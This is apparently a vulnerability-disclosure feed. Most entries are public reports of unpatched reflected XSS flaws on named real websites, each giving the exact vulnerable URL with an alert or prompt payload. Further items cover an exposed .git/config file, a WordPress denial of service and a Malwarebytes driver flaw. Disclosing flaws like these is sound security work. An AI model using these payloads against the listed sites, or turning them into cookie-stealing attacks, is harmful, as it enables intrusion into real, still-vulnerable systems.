WordPress <=4.9.2 - Application Denial of Service (DoS) vulnerability

Application Denial of Service DoS vulnerability found in WordPress versions =4.9.2. Solution 2/5/2018 - no patch available...

PT-2018-16856 · Malwarebytes · Malwarebytes Premium

Name of the Vulnerable Software and Affected Versions: Malwarebytes Premium version 3.3.1.2183 Description: The issue allows local users to cause a denial of service BSOD or possibly have unspecified other impact because of not validating input values from IOCtl 0x9C40E020 in the driver file...

yucatanview.com XSS vulnerability

Vulnerable URL: http://yucatanview.com/es/%22+%3E%3C%252Fsvg%3E%3C%252F|%3E%3Csvg%252Fonload=prompt2%3E/7/0-0--g-p-0/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

arcspider.com XSS vulnerability

Vulnerable URL: http://www.arcspider.com/tsearch.exe?search=%3C%2Fscript%3E%22%3E%3Cscript%3Eprompt%22OPENBUGBOUNTY%22%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

grandcarrentals.com XSS vulnerability

Vulnerable URL: http://www.grandcarrentals.com/?A=%22/%3E%27%3E%22%3EI%3Ci%3EI%3Csvg/onload=alert/openbugbounty/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

smallbusinessadvocate.com XSS vulnerability

Vulnerable URL: https://www.smallbusinessadvocate.com/widget/contents/article.php?id=%22%3E%3Csvg%2Fonload%3Dalert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

firstaid101.com XSS vulnerability

Vulnerable URL: http://www.firstaid101.com/search-results.aspx?keywords=%3C%2Fscript%3E%22%3E%3Cscript%3Eprompt%22OPENBUGBOUNTY%22%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

scrubs-music.de XSS vulnerability

Vulnerable URL: http://scrubs-music.de/netaudio-player/flashdetection.swf?flashContentURL=javascript:prompt5389 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

antiquariat-vinke.de XSS vulnerability

Vulnerable URL: http://www.antiquariat-vinke.de/flashdetection.swf?flashContentURL=javascript:alert5389 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

whitney.med.yale.edu XSS vulnerability

Vulnerable URL: http://whitney.med.yale.edu/gsdl/cgi-bin/library?a=p=about=salpetre%22%3E%3Csvg%2Fonload%3Dalert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

it.sixt.com XSS vulnerability

Vulnerable URL: https://it.sixt.com/gfx/leasing/firmenwagen/angebote/audi-tt.swf?motxt=Jetzt%20informieren!=javascript:alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

manpower.hu XSS vulnerability

Vulnerable URL:...

it-matchmaker.com XSS vulnerability

Vulnerable URL: https://www.it-matchmaker.com/core/classes/pChart/examples/sandbox/script/session.php?%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly...

lindenvalley.de Improper Access Control vulnerability

Vulnerable URL: https://www.lindenvalley.de/.git/config Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.01.2018 Vulnerability type:| Improper Access Control Vulnerability status:| Publicly disclosed Alexa Rank| 3132691 VIP website status:| No Coordinated Disclosure...

sherrysharp.com XSS vulnerability

Vulnerable URL: http://sherrysharp.com/genealogy/browsemedia.php?mediasearch=bug=headstones=Relatives=%22%20autofocus%20onfocus=alert%60OPENBUGBOUNTY%60%20 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly...

youtubeplaylist-mp3.com XSS vulnerability

Vulnerable URL: http://youtubeplaylist-mp3.com/?v=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 72001 VIP website status:| No Coordinated Disclosure Timeline: Description| Value...

toscointl.com XSS vulnerability

Vulnerable URL: http://www.toscointl.com/product.php?searchkeyword=%3CIMG%20SRC=x%20onerror=javascript:alert%28/XSSPOSED/%29\n Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknow...

turkishculturalfoundation.org XSS vulnerability

Vulnerable URL: http://www.turkishculturalfoundation.org/search.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2960287 VIP website status:| No Coordinated Disclosure Timeline:...

nmbi.ie XSS vulnerability

Vulnerable URL: http://www.nmbi.ie/Search?searchtext=%3Cscript%3Ealert%22OPENBUGBOUNTY%22%3C/script%3E=anyword\n Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 443032 VIP website...

ustaxcourt.gov XSS vulnerability

Vulnerable URL: https://www.ustaxcourt.gov/mediaplayer//player.swf?tracecall=alert%22OPENBUGBOUNTY%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 420009 VIP website status:| No...